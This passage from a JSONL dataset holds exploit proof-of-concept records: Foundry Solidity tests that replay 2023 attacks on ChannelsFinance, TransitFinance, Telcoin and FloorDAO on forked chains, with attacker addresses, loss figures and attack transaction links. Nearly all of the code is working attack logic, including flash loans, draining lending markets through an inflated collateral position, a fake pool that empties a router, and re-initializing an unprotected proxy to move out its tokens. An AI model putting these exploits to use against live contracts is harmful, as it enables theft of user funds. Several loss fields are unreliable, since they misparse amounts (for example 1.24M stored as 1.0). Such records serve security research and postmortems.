ICErc20Delegate(payable(0xBa5B37100538Cde248AAA4c92FB330fCf91F557C));\n ICErc20Delegate private constant cUSDC = ICErc20Delegate(payable(0x33e68c922d19D74ce845546a5c12A66ea31385c4));\n ICErc20Delegate private constant cDAI = ICErc20Delegate(payable(0x7D247295a6938587C581f5Bb8CBD98A72388E530));\n ICErc20Delegate private constant cETH = ICErc20Delegate(payable(0x11797D61fD4BfF9728113601782D4444503093d7));\n ICErc20Delegate private constant cBTC = ICErc20Delegate(payable(0x7140A671Da66C0BD411E3fc3B15C51C36dBB5cA3));\n ICErc20Delegate private constant cFIL = ICErc20Delegate(payable(0xf77ef89255Fb387C6ebA1557c615A8B31A518aa2));\n IcCLP_BTCB_BUSD private constant cCLP_BTCB_BUSD =\n IcCLP_BTCB_BUSD(payable(0x93790C641D029D1cBd779D87b88f67704B6A8F4C));\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private constant PancakeSwapToken = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);\n IERC20 private constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\n IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant ETHToken = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IERC20 private constant USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n IERC20 private constant DAI = IERC20(0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3);\n ICointroller private constant Comptroller = ICointroller(0xFC518333F4bC56185BDd971a911fcE03dEe4fC8c);\n Uni_Pair_V3 private constant BUSDT_BTCB = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);\n Uni_Pair_V3 private constant BUSDT_BUSD = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);\n Uni_Pair_V2 private constant BTCB_BUSD = Uni_Pair_V2(0xF45cd219aEF8618A92BAa7aD848364a158a24F33);\n address private constant attackContract = 0x07e536F23a197F6FB76F42aD01ac2Bcdc3BF738E;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 34_806_205);\n vm.label(address(cWBNB), \"cWBNB\");\n vm.label(address(cFIL), \"cFIL\");\n vm.label(address(cCLP_BTCB_BUSD), \"cCLP_BTCB_BUSD\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(BTCB), \"BTCB\");\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(PancakeSwapToken), \"PancakeSwapToken\");\n vm.label(address(Comptroller), \"Comptroller\");\n vm.label(address(BUSDT_BTCB), \"BUSDT_BTCB\");\n vm.label(address(BUSDT_BUSD), \"BUSDT_BUSD\");\n vm.label(address(BTCB_BUSD), \"BTCB_BUSD\");\n }\n\n function testExploit() public {\n // Starting balances. Exploiter transferred amounts of tokens to attack contract before first attack tx\n // Transfer txs:\n // PancakeSwap Token: https://app.blocksec.com/explorer/tx/bsc/0x0237855c63eb85c5f437fba5267cc869a08c58a49501e3e5ebec9990bdd97565\n deal(address(PancakeSwapToken), address(this), 2e18);\n deal(address(BUSDT), address(this), 0);\n\n // At the end of the first tx attacker manipulated total supply value in vulnerable contract\n // This step was needed for increase borrowing power of attacker\n // I don't recreate the mentioned process because I have encountered specific underflow error when trying to liquidate borrowers positions\n // in the first attack tx\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BTCB balance before attack\", BTCB.balanceOf(address(this)), BTCB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ETHToken balance before attack\", ETHToken.balanceOf(address(this)), ETHToken.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_string(\"-----------------------------------------------------\");\n\n emit log_named_uint(\n \"Total supply value in vulnerable contract after first attack tx\", cCLP_BTCB_BUSD.totalSupply()\n );\n\n emit log_named_uint(\n \"Exploiter cCLP_BTCB_BUSD balance after first attack tx\", cCLP_BTCB_BUSD.balanceOf(attackContract)\n );\n\n // Transfer 2 tokens cCLP_BTCB_BUSD from attack contract to this contract.\n // I do this because of complications with first tx explained above\n // This step is needed to withdraw underlying BTCB_BUSD tokens later\n vm.prank(attackContract);\n cCLP_BTCB_BUSD.approve(address(this), type(uint256).max);\n cCLP_BTCB_BUSD.transferFrom(attackContract, address(this), cCLP_BTCB_BUSD.balanceOf(attackContract));\n\n BUSDT_BTCB.flash(address(this), 0, 11_900e15, \"\");\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BTCB balance after attack\", BTCB.balanceOf(address(this)), BTCB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ETHToken balance after attack\", ETHToken.balanceOf(address(this)), ETHToken.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter DAI balance after attack\", DAI.balanceOf(address(this)), DAI.decimals());\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n if (msg.sender == address(BUSDT_BTCB)) {\n BUSDT_BUSD.flash(address(this), 0, 500_000e18, \"\");\n BTCB.transfer(address(BUSDT_BTCB), 11_900e15 + fee1);\n } else if (msg.sender == address(BUSDT_BUSD)) {\n // Transfer token amounts to pair and next mint liquidity\n (uint112 reserveBTCB, uint112 reserveBUSD,) = BTCB_BUSD.getReserves();\n BTCB.transfer(address(BTCB_BUSD), (reserveBTCB * 115) / 100);\n BUSD.transfer(address(BTCB_BUSD), (reserveBUSD * 115) / 100);\n BTCB_BUSD.mint(address(this));\n // Transfer PancakeSwapToken to vulnerable contract\n PancakeSwapToken.transfer(address(cCLP_BTCB_BUSD), PancakeSwapToken.balanceOf(address(this)));\n\n emit log_named_uint(\n \"Exploiter underlying BTCB_BUSD tokens balance before transfer to vulnerable contract\",\n BTCB_BUSD.balanceOf(address(this))\n );\n\n // Transfer BTCB_BUSD to vulnerable contract\n BTCB_BUSD.transfer(address(cCLP_BTCB_BUSD), BTCB_BUSD.balanceOf(address(this)));\n\n emit log_named_uint(\n \"Exploiter underlying BTCB_BUSD tokens balance after transfer to vulnerable contract\",\n BTCB_BUSD.balanceOf(address(this))\n );\n\n cCLP_BTCB_BUSD.accrueInterest();\n\n // Enter to ChannelsFinance markets\n address[] memory cTokens = Comptroller.getAllMarkets();\n Comptroller.enterMarkets(cTokens);\n\n // At this moment exploiter can borrow more tokens than he should\n ICErc20Delegate[] memory tokensToSteal = new ICErc20Delegate[](7);\n tokensToSteal[0] = cWBNB;\n tokensToSteal[1] = cBUSD;\n tokensToSteal[2] = cUSDT;\n tokensToSteal[3] = cUSDC;\n tokensToSteal[4] = cDAI;\n tokensToSteal[5] = cETH;\n tokensToSteal[6] = cBTC;\n\n for (uint256 i; i < tokensToSteal.length; ++i) {\n uint256 amountToSteal = tokensToSteal[i].getCash();\n tokensToSteal[i].borrow(amountToSteal);\n }\n\n // redeemUnderlying function has rounding error.\n // Thanks to this attacker has used only one cCLP_BTCB_BUSD token to withdraw underlying tokens\n uint256 reserves = cCLP_BTCB_BUSD.totalReserves();\n uint256 redeemAmount = cCLP_BTCB_BUSD.getCash();\n cCLP_BTCB_BUSD.redeemUnderlying(redeemAmount - reserves - 1e9);\n emit log_named_uint(\n \"Exploiter cCLP_BTCB_BUSD balance after call to redeemUnderlying()\",\n cCLP_BTCB_BUSD.balanceOf(address(this))\n );\n emit log_named_uint(\n \"Exploiter underlying BTCB_BUSD tokens balance after withdraw from vulnerable contract\",\n BTCB_BUSD.balanceOf(address(this))\n );\n emit log_string(\"-----------------------------------------------------\");\n BTCB_BUSD.transfer(address(BTCB_BUSD), BTCB_BUSD.balanceOf(address(this)));\n BTCB_BUSD.burn(address(this));\n BUSD.transfer(address(BUSDT_BUSD), 500_000e18 + fee1);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "ChannelsFinance", "date": "2023-12", "file_name": "ChannelsFinance_exp.sol", "attack_vector": null, "content_hash": "e7278b2e6dd9b711", "collected_at": "2026-01-07T10:59:16.531044", "_source": "postmortems", "chain": "bsc", "block_number": 34806205, "total_lost_raw": "~320K", "total_lost_usd": 320000.0, "attacker_address": "https://bscscan.com/address/0x20395d8e8a11cfd2541b942afdb810b7dcc64681", "attack_contract": "https://bscscan.com/address/0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e", "vulnerable_contract": "https://bscscan.com/address/0x93790c641d029d1cbd779d87b88f67704b6a8f4c", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x711cc4ceb9701d317fe9aa47187425e16dae7d5a0113f1430e891018262f8fb5", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~320K", "category": "unknown", "exploit_code": "function testExploit() public {\n // Starting balances. Exploiter transferred amounts of tokens to attack contract before first attack tx\n // Transfer txs:\n // PancakeSwap Token: https://app.blocksec.com/explorer/tx/bsc/0x0237855c63eb85c5f437fba5267cc869a08c58a49501e3e5ebec9990bdd97565\n deal(address(PancakeSwapToken), address(this), 2e18);\n deal(address(BUSDT), address(this), 0);\n\n // At the end of the first tx attacker manipulated total supply value in vulnerable contract\n // This step was needed for increase borrowing power of attacker\n // I don't recreate the mentioned process because I have encountered specific underflow error when trying to liquidate borrowers positions\n // in the first attack tx\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BTCB balance before attack\", BTCB.balanceOf(address(this)), BTCB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ETHToken balance before attack\", ETHToken.balanceOf(address(this)), ETHToken.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_string(\"-----------------------------------------------------\");\n\n emit log_named_uint(\n \"Total supply value in vulnerable contract after first attack tx\", cCLP_BTCB_BUSD.totalSupply()\n );\n\n emit log_named_uint(\n \"Exploiter cCLP_BTCB_BUSD balance after first attack tx\", cCLP_BTCB_BUSD.balanceOf(attackContract)\n );\n\n // Transfer 2 tokens cCLP_BTCB_BUSD from attack contract to this contract.\n // I do this because of complications with first tx explained above\n // This step is needed to withdraw underlying BTCB_BUSD tokens later\n vm.prank(attackContract);\n cCLP_BTCB_BUSD.approve(address(this), type(uint256).max);\n cCLP_BTCB_BUSD.transferFrom(attackContract, address(this), cCLP_BTCB_BUSD.balanceOf(attackContract));\n\n BUSDT_BTCB.flash(address(this), 0, 11_900e15, \"\");\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BTCB balance after attack\", BTCB.balanceOf(address(this)), BTCB.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter ETHToken balance after attack\", ETHToken.balanceOf(address(this)), ETHToken.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter DAI balance after attack\", DAI.balanceOf(address(this)), DAI.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~320K", "keyinfo_attacker": "https://bscscan.com/address/0x20395d8e8a11cfd2541b942afdb810b7dcc64681", "keyinfo_attack_contract": "https://bscscan.com/address/0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x93790c641d029d1cbd779d87b88f67704b6a8f4c", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x711cc4ceb9701d317fe9aa47187425e16dae7d5a0113f1430e891018262f8fb5", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$320.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "ChannelsFinance Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n Attack tx: https://explorer.phalcon.xyz/tx/bsc/0x93ae5f0a121d5e1aadae052c36bc5ecf2d406d35222f4c6a5d63fef1d6de1081\n Tweet alert: https://twitter.com/Phalcon_xyz/status/1737355152779030570\n\n [PASS] testExploit() (gas: 226246)\n Logs:\n Balance BNB before attack: 0.000000000000000001\n Balance USD of router: 43841.867959016089190183\n Balance BNB after attack: 173.907186477338745776\n*/\n\nstruct ExactInputV3SwapParams {\n address srcToken;\n address dstToken;\n address dstReceiver;\n address wrappedToken;\n uint256 amount;\n uint256 minReturnAmount;\n uint256 fee;\n uint256 deadline;\n uint256[] pools;\n bytes signature;\n string channel;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n address router = 0x00000047bB99ea4D791bb749D970DE71EE0b1A34;\n\n address pool_usd_wbnb = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;\n\n address usd = 0x55d398326f99059fF775485246999027B3197955;\n\n address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\n address bnb = address(0);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 34_506_417 - 1);\n deal(address(this), 1);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Balance BNB before attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Balance USD of router\", IERC20(usd).balanceOf(router), 18);\n uint256[] memory pools = new uint256[](2);\n pools[0] = uint256(uint160(address(this)));\n pools[1] = 452_312_848_583_266_388_373_324_160_500_822_705_807_063_255_235_247_521_466_952_638_073_588_228_176;\n ExactInputV3SwapParams memory params = ExactInputV3SwapParams({\n srcToken: bnb,\n dstToken: bnb,\n dstReceiver: address(this),\n wrappedToken: wbnb,\n amount: 1,\n minReturnAmount: 0,\n fee: 0,\n deadline: block.timestamp,\n pools: pools,\n signature: bytes(\"\"),\n channel: \"\"\n });\n ITransitRouter(router).exactInputV3Swap{value: 1}(params);\n emit log_named_decimal_uint(\"Balance BNB after attack\", address(this).balance, 18);\n }\n\n function token0() external view returns (address) {\n return wbnb;\n }\n\n function token1() external view returns (address) {\n return usd;\n }\n\n function fee() external pure returns (uint24) {\n return 0;\n }\n\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1) {\n return (-int256(IERC20(usd).balanceOf(router)), -int256(IERC20(usd).balanceOf(router)));\n }\n\n receive() external payable {}\n}\n\ninterface ITransitRouter {\n function transitFee() external view returns (uint256, uint256);\n function exactInputV3Swap(\n ExactInputV3SwapParams calldata params\n ) external payable returns (uint256 returnAmount);\n}\n\ninterface IUniswapV3Pool {\n function token0() external view returns (address);\n function token1() external view returns (address);\n function fee() external view returns (uint24);\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n}\n", "type": "exploit_poc", "protocol": "TransitFinance", "date": "2023-12", "file_name": "TransitFinance_exp.sol", "attack_vector": null, "content_hash": "771f63c12275c3a3", "collected_at": "2026-01-07T10:59:16.531118", "_source": "postmortems", "chain": "unknown", "block_number": 34506417, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x93ae5f0a121d5e1aadae052c36bc5ecf2d406d35222f4c6a5d63fef1d6de1081", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Balance BNB before attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Balance USD of router\", IERC20(usd).balanceOf(router), 18);\n uint256[] memory pools = new uint256[](2);\n pools[0] = uint256(uint160(address(this)));\n pools[1] = 452_312_848_583_266_388_373_324_160_500_822_705_807_063_255_235_247_521_466_952_638_073_588_228_176;\n ExactInputV3SwapParams memory params = ExactInputV3SwapParams({\n srcToken: bnb,\n dstToken: bnb,\n dstReceiver: address(this),\n wrappedToken: wbnb,\n amount: 1,\n minReturnAmount: 0,\n fee: 0,\n deadline: block.timestamp,\n pools: pools,\n signature: bytes(\"\"),\n channel: \"\"\n });\n ITransitRouter(router).exactInputV3Swap{value: 1}(params);\n emit log_named_decimal_uint(\"Balance BNB after attack\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.82, "quality_estimate": "low", "title": "TransitFinance Exploit (2023-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~1,24M\n// Attacker : https://polygonscan.com/address/0xdb4b84f0e601e40a02b54497f26e03ef33f3a5b7\n// Vulnerable Contract : https://polygonscan.com/address/0x56bcadff30680ebb540a84d75c182a5dc61981c0\n// Attack Tx (CloneableProxy#1) : https://app.blocksec.com/explorer/tx/polygon/0x35f50851c3b754b4565dc3e69af8f9bdb6555edecc84cf0badf8c1e8141d902d\n\n// @Analysis\n// https://blocksec.com/phalcon/blog/telcoin-security-incident-in-depth-analysis\n// https://hacked.slowmist.io/?c=&page=2\n\ninterface ICloneableProxy {\n function initialize(address _logic, bytes memory data) external;\n}\n\ncontract ContractTest is Test {\n // CloneableProxy#1 created and 'initialized' at tx:\n // https://app.blocksec.com/explorer/tx/polygon/0x1a31cb6f417d30fe8769328b3412bfb0d70247a82009ef28dfab5730c82acd05\n ICloneableProxy private constant CloneableProxy = ICloneableProxy(0x56BCADff30680EBB540a84D75c182A5dC61981C0);\n IERC20 private constant TEL = IERC20(0xdF7837DE1F2Fa4631D716CF2502f8b230F1dcc32);\n\n function setUp() public {\n vm.createSelectFork(\"polygon\", 51_546_495);\n vm.label(address(CloneableProxy), \"CloneableProxy#1\");\n vm.label(address(TEL), \"TEL\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker TEL balance before exploit\", TEL.balanceOf(address(this)), TEL.decimals());\n bytes32 cloneableProxyPackedSlot0 = vm.load(address(CloneableProxy), bytes32(uint256(0)));\n console.log(\"----------------------------------------------------------------\");\n emit log_named_bytes32(\n \"CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization\",\n cloneableProxyPackedSlot0\n );\n console.log(\"----------------------------------------------------------------\");\n console.log(\n \"CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s\",\n uint8(cloneableProxyPackedSlot0[30]),\n uint8(cloneableProxyPackedSlot0[31])\n );\n console.log(\"----------------------------------------------------------------\");\n console.log(\"---Exploit Time---\");\n\n bytes memory data = abi.encodePacked(this.transferTELFromCloneableProxy.selector);\n CloneableProxy.initialize(address(this), data);\n\n cloneableProxyPackedSlot0 = vm.load(address(CloneableProxy), bytes32(uint256(0)));\n console.log(\"----------------------------------------------------------------\");\n emit log_named_bytes32(\n \"CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization\",\n cloneableProxyPackedSlot0\n );\n console.log(\"----------------------------------------------------------------\");\n console.log(\n \"CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s\",\n uint8(cloneableProxyPackedSlot0[30]),\n uint8(cloneableProxyPackedSlot0[31])\n );\n console.log(\"----------------------------------------------------------------\");\n emit log_named_decimal_uint(\"Attacker TEL balance after exploit\", TEL.balanceOf(address(this)), TEL.decimals());\n\n // Sanity test after exploit\n vm.expectRevert(\"Initializable: contract is already initialized\");\n CloneableProxy.initialize(address(this), \"\");\n }\n\n function implementation() external view returns (address) {\n return address(this);\n }\n\n // Function will be delegatecalled from CloneableProxy#1\n // Transfer only TEL because victim proxy doesn't have LINK balance\n function transferTELFromCloneableProxy() external {\n TEL.transfer(msg.sender, TEL.balanceOf(address(CloneableProxy)));\n }\n}\n", "type": "exploit_poc", "protocol": "Telcoin", "date": "2023-12", "file_name": "Telcoin_exp.sol", "attack_vector": null, "content_hash": "c95e98acf90a1121", "collected_at": "2026-01-07T10:59:16.531177", "_source": "postmortems", "chain": "polygon", "block_number": 51546495, "total_lost_raw": "~1,24M", "total_lost_usd": 1.0, "attacker_address": "https://polygonscan.com/address/0xdb4b84f0e601e40a02b54497f26e03ef33f3a5b7", "attack_contract": null, "vulnerable_contract": "https://polygonscan.com/address/0x56bcadff30680ebb540a84d75c182a5dc61981c0", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~1,24M", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker TEL balance before exploit\", TEL.balanceOf(address(this)), TEL.decimals());\n bytes32 cloneableProxyPackedSlot0 = vm.load(address(CloneableProxy), bytes32(uint256(0)));\n console.log(\"----------------------------------------------------------------\");\n emit log_named_bytes32(\n \"CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization\",\n cloneableProxyPackedSlot0\n );\n console.log(\"----------------------------------------------------------------\");\n console.log(\n \"CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s\",\n uint8(cloneableProxyPackedSlot0[30]),\n uint8(cloneableProxyPackedSlot0[31])\n );\n console.log(\"----------------------------------------------------------------\");\n console.log(\"---Exploit Time---\");\n\n bytes memory data = abi.encodePacked(this.transferTELFromCloneableProxy.selector);\n CloneableProxy.initialize(address(this), data);\n\n cloneableProxyPackedSlot0 = vm.load(address(CloneableProxy), bytes32(uint256(0)));\n console.log(\"----------------------------------------------------------------\");\n emit log_named_bytes32(\n \"CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization\",\n cloneableProxyPackedSlot0\n );\n console.log(\"----------------------------------------------------------------\");\n console.log(\n \"CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s\",\n uint8(cloneableProxyPackedSlot0[30]),\n uint8(cloneableProxyPackedSlot0[31])\n );\n console.log(\"----------------------------------------------------------------\");\n emit log_named_decimal_uint(\"Attacker TEL balance after exploit\", TEL.balanceOf(address(this)), TEL.decimals());\n\n // Sanity test after exploit\n vm.expectRevert(\"Initializable: contract is already initialized\");\n CloneableProxy.initialize(address(this), \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "~1,24M", "keyinfo_attacker": "https://polygonscan.com/address/0xdb4b84f0e601e40a02b54497f26e03ef33f3a5b7", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://polygonscan.com/address/0x56bcadff30680ebb540a84d75c182a5dc61981c0", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1", "content_richness_score": 7.02, "quality_estimate": "medium", "title": "Telcoin Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~40 eth\n// Attacker : https://etherscan.io/address/0x4453aed57c23a50d887a42ad0cd14ff1b819c750\n// Attack Contract : https://etherscan.io/address/0x6ce5a85cff4c70591da82de5eb91c3fa38b40595\n// Attacker Transaction : https://explorer.phalcon.xyz/tx/eth/0x1274b32d4dfacd2703ad032e8bd669a83f012dde9d27ed92e4e7da0387adafe4\n\n// @Analysis\n// https://twitter.com/PeckShieldAlert/status/1698962105058361392\n// https://medium.com/floordao/floor-post-mortem-incident-summary-september-5-2023-e054a2d5afa4\n\ninterface IFloorStaking {\n function unstake(address _to, uint256 _amount, bool _trigger, bool _rebasing) external;\n function stake(address _to, uint256 _amount, bool _rebasing, bool _claim) external returns (uint256);\n}\n\ninterface IsFloor is IERC20 {\n function circulatingSupply() external returns (uint256);\n}\n\ncontract FloorStakingExploit is Test {\n IERC20 floor = IERC20(0xf59257E961883636290411c11ec5Ae622d19455e);\n IsFloor sFloor = IsFloor(0x164AFe96912099543BC2c48bb9358a095Db8e784);\n IERC20 gFloor = IERC20(0xb1Cc59Fc717b8D4783D41F952725177298B5619d);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n uint256 flashAmount;\n IFloorStaking staking = IFloorStaking(0x759c6De5bcA9ADE8A1a2719a31553c4B7DE02539);\n Uni_Pair_V3 floorUniPool = Uni_Pair_V3(0xB386c1d831eED803F5e8F274A59C91c4C22EEAc0);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_068_772);\n\n vm.label(address(floor), \"floor\");\n vm.label(address(sFloor), \"sFloor\");\n vm.label(address(gFloor), \"gFloor\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(staking), \"FloorStaking\");\n vm.label(address(floorUniPool), \"Pool\");\n }\n\n function testExploit() public {\n flashAmount = floor.balanceOf(address(floorUniPool)) - 1;\n floorUniPool.flash(address(this), 0, flashAmount, \"\");\n\n uint256 profitAmount = floor.balanceOf(address(this));\n emit log_named_decimal_uint(\"floor token balance after exploit\", profitAmount, floor.decimals());\n floorUniPool.swap(\n address(this), false, int256(profitAmount), uint160(0xfFfd8963EFd1fC6A506488495d951d5263988d25), \"\"\n );\n emit log_named_decimal_uint(\"weth balance after swap\", WETH.balanceOf(address(this)), WETH.decimals());\n }\n\n function uniswapV3FlashCallback(uint256, /*fee0*/ uint256 fee1, bytes calldata) external {\n uint256 i = 0;\n while (i < 17) {\n uint256 balanceAttacker = floor.balanceOf(address(this));\n uint256 balanceStaking = floor.balanceOf(address(staking));\n uint256 circulatingSupply = sFloor.circulatingSupply();\n if (balanceAttacker + balanceStaking > circulatingSupply) {\n floor.approve(address(staking), balanceAttacker);\n staking.stake(address(this), balanceAttacker, false, true);\n uint256 gFloorBalance = gFloor.balanceOf(address(this));\n staking.unstake(address(this), gFloorBalance, true, false);\n i += 1;\n }\n }\n\n floor.transfer(msg.sender, flashAmount + fee1);\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n int256 amount = amount1Delta;\n if (amount <= 0) {\n amount = 0 - amount;\n }\n floor.transfer(msg.sender, uint256(amount));\n }\n}\n", "type": "exploit_poc", "protocol": "FloorDAO", "date": "2023-09", "file_name": "FloorDAO_exp.sol", "attack_vector": null, "content_hash": "2114ffc6c03449fb", "collected_at": "2026-01-07T10:59:16.531231", "_source": "postmortems", "chain": "ethereum", "block_number": 18068772, "total_lost_raw": "~40 eth", "total_lost_usd": 40.0, "attacker_address": "https://etherscan.io/address/0x4453aed57c23a50d887a42ad0cd14ff1b819c750", "attack_contract": "https://etherscan.io/address/0x6ce5a85cff4c70591da82de5eb91c3fa38b40595", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~40 eth", "category": "unknown", "exploit_code": "function testExploit() public {\n flashAmount = floor.balanceOf(address(floorUniPool)) - 1;\n floorUniPool.flash(address(this), 0, flashAmount, \"\");\n\n uint256 profitAmount = 